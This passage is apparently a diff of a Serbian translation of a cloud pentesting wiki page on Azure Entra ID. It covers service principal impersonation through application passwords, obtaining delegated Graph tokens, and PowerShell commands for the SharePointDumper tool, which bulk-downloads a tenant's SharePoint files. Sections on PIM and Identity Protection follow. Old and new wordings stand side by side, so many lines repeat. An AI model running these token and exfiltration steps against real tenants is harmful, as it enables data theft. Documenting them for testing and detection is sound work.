> Za više informacija [**check this**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48).
> [!NOTE]
> Tajni niz koji aplikacija koristi da dokaže svoj identitet pri zahtevanju tokena je lozinka aplikacije.\
> Dakle, ako pronađete ovu **lozinku** možete pristupiti kao **service principal** **inside** **the tenant**.\
> Imajte na umu da je ova lozinka vidljiva samo kada se generiše (možete je promeniti ali je ne možete ponovo dobiti).\
> **Owner** **of** the **application** može **add a password** to it (so he can impersonate it).\
> Logins as these service principals are **not marked as risky** and they **won't have MFA.**
> Tajni niz koji aplikacija koristi da potvrdi svoj identitet prilikom zahteva za token je **application password**.\
> Dakle, ako pronađete ovu **password** možete pristupiti kao **service principal** **unutar** **tenant**.\
> Imajte na umu da je ovaj **password** vidljiv samo kada se generiše (možete ga promeniti, ali ga ne možete ponovo dobiti).\
> The **owner** of the **application** can **add a password** to it (so he can impersonate it).\
> Prijave kao ovi **service principals** nisu **not marked as risky** i one **won't have MFA.**
It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
Moguće je pronaći listu često korišćenih App IDs koja pripada Microsoft-u na [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications)
### Upravljani identiteti
### Managed Identities
For more information about Managed Identities check:
Za više informacija o Managed Identities pogledajte:
{{#ref}}
../az-basic-information/
@@ -937,7 +1012,7 @@ Headers = @{
{{#endtab }}
{{#endtabs }}
### Uloge Entra ID-a
### Entra ID Uloge
Za više informacija o Azure ulogama pogledajte:
@@ -1060,8 +1135,8 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember
{{#endtabs }}
> [!WARNING]
> Ako je uređaj (VM) **AzureAD joined**, korisnici iz AzureAD će moći da se **prijave**.\
> Štaviše, ako je prijavljeni korisnik **Owner** uređaja, on će biti **lokalni administrator**.
> Ako je uređaj (VM) **pridružen AzureAD-u**, korisnici iz AzureAD-a će moći da se **prijave**.\
> Štaviše, ako je prijavljeni korisnik **Owner** uređaja, taj korisnik će biti **lokalni administrator**.
### Administrativne jedinice
@@ -1102,7 +1177,7 @@ Get-AzureADMSScopedRoleMembership -Id <id> | fl #Get role ID and role members
## Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Napadači sa **delegated Microsoft Graph token** koji uključuje **`Sites.Read.All`** ili **`Sites.ReadWrite.All`** mogu da enumerišu **sites/drives/items** preko Graph-a i zatim da povuku sadržaj fajlova preko **SharePoint pre-authentication download URLs** (time-limited URLs koji ugrađuju access token). Skripta [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizuje ceo tok (enumeration → pre-auth downloads) i emituje telemetriju po zahtevu za testiranje detekcije.
Napadači koji imaju **delegirani Microsoft Graph token** koji uključuje **`Sites.Read.All`** ili **`Sites.ReadWrite.All`** mogu da izlistaju **sites/drives/items** preko Graph-a i potom da **preuzmu sadržaj fajlova** putem **SharePoint pre-authentication download URL-ova** (vremenski ograničeni URL-ovi koji ugrađuju access token). Skripta [SharePointDumper](https://github.com/zh54321/SharePointDumper) automatizuje ceo tok (enumeration → pre-auth downloads) i emituje telemetriju po zahtevu za testiranje detekcije.
### Obtaining usable delegated tokens
@@ -1120,7 +1195,7 @@ Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
```
> [!NOTE]
> FOCI TRUE klijenti podržavaju refresh across devices; FOCI FALSE klijenti često zahtevaju `-Origin` da bi zadovoljili validaciju porekla reply URL-a.
> FOCI TRUE klijenti podržavaju refresh između uređaja; FOCI FALSE klijenti često zahtevaju `-Origin` da zadovolje validaciju porekla reply URL-a.
### Pokretanje SharePointDumper za enumeration + exfiltration
@@ -1132,7 +1207,7 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Nastavi** prekinuta izvršavanja (ponovo nabraja ali preskače preuzete stavke):
- **Nastavi** prekinuta izvršavanja (ponovo enumeriše, ali preskače preuzete stavke):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
@@ -1141,10 +1216,10 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Operativne beleške:
Operativne napomene:
- Preferira **CAE-enabled** tokene da bi se izbeglo istekanje tokom izvršavanja; pokušaji osvežavanja **nisu** logovani u API logu alata.
- Generiše **CSV/JSON request logs** za **Graph + SharePoint** i podrazumevano cenzuriše ugrađene SharePoint download tokene (moguće uključiti/isključiti).
- Preferira **CAE-enabled** tokene da bi se izbegao isteka tokom izvođenja; pokušaji osvežavanja **se NE** beleže u API logu alata.
- Generiše **CSV/JSON request logs** za **Graph + SharePoint** i po defaultu maskira ugrađene SharePoint download tokene (moguće uključiti/isključiti).
- Podržava **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, i **Ctrl+C-safe shutdown** za oblikovanje saobraćaja tokom detection/IR testova.
## Entra ID Privilege Escalation
@@ -1163,29 +1238,29 @@ Operativne beleške:
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) u Azure pomaže da se **spreči dodela prekomernih privilegija** korisnicima bez potrebe.
Privileged Identity Management (PIM) u Azure pomaže da se **spreči dodeljivanje preteranih privilegija** korisnicima bez potrebe.
Jedna od glavnih funkcionalnosti koje PIM pruža je što omogućava da se uloge ne dodeljuju principalima koji su stalno aktivni, već da ih učini **eligible za određeni vremenski period (npr. 6 meseci)**. Zatim, kad god korisnik želi da aktivira tu ulogu, mora da zatraži nju i navede vreme koliko mu treba privilegija (npr. 3 sata). Nakon toga **administratorska osoba mora da odobri** zahtev.\
Napomena: korisnik takođe može da zatraži i **produženje** vremena.
Jedna od glavnih funkcija koje PIM pruža je mogućnost da se uloge ne dodeljuju principal-ima koji su stalno aktivni, već da ih se učini **podobnim za određeni period (npr. 6months)**. Kada korisnik želi da aktivira tu ulogu, mora je zatražiti i navesti vreme koliko mu treba privilegija (npr. 3 sata). Zatim **admin mora da odobri** zahtev.\
Napomena: korisnik takođe može tražiti da **produži** trajanje aktivacije.
Pored toga, **PIM šalje mejlove** kad god se privilegovana uloga dodeli nekom korisniku.
Pored toga, **PIM šalje e-poruke** kad god se privilegovana uloga dodeli nekom korisniku.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Kada je PIM omogućen moguće je konfigurisati svaku ulogu sa određenim zahtevima kao što su:
- Maksimalno trajanje (sati) aktivacije
- Maximum duration (hours) of activation
- Require MFA on activation
- Require Conditional Access authentication context
- Require Conditional Access acuthenticaiton context
- Require justification on activation
- Require ticket information on activation
- Require approval to activate
- Max time to expire the elegible assignments
- Mnogo više opcija za konfigurisanje kada i kome se šalju obaveštenja kad se dogode određene akcije vezane za tu ulogu
- Još mnogo podešavanja kada i kome se šalju obaveštenja kad se određene akcije dese sa tom ulogom
### Conditional Access Policies
Check:
Proveri:
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md
@@ -1193,21 +1268,21 @@ Check:
### Entra Identity Protection
Entra Identity Protection je bezbednosna usluga koja omogućava da se **otkrije kada je korisnik ili prijava previše rizična** da bi bila prihvaćena, omogućavajući da se **blokira** korisnik ili pokušaj prijave.
Entra Identity Protection je bezbednosna usluga koja omogućava da se **otkrije kada je korisnik ili sign-in previše rizičan** da bi bio prihvaćen, omogućavajući da se korisnik ili pokušaj prijave **blokiraju**.
Omogućava administratoru da je konfiguriše da **blokira** pokušaje kada je rizik "Low and above", "Medium and above" ili "High". Ipak, podrazumevano je potpuno **onemogućena**:
Omogućava adminu da je konfiguriše tako da **blokira** pokušaje kada je rizik "Low and above", "Medium and above" ili "High". Ipak, po defaultu je potpuno **disabled**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Danas se preporučuje dodavanje ovih ograničenja putem Conditional Access politika gde je moguće konfigurisati iste opcije.
> Danas se preporučuje dodavanje ovih ograničenja putem Conditional Access policies gde je moguće podesiti iste opcije.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcionalnost koja **pomaže da se spreči zloupotreba slabih lozinki tako što zaključava naloge kada se dogodi više neuspešnih pokušaja prijave**.\
Takođe omogućava da se **zabranjuje prilagođena lista lozinki** koju morate dostaviti.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) je bezbednosna funkcija koja **pomaže da se spreči zloupotreba slabih lozinki tako što zaključava naloge nakon više neuspešnih pokušaja prijave**.\
Takođe omogućava da se **zabrani prilagođena lista lozinki** koju treba da obezbedite.
Može se **primeniti i u cloud-u i na on-premises Active Directory**.
Može se **primeniti i u cloudu i na on-premises Active Directory**.
Podrazumevani režim je **Audit**: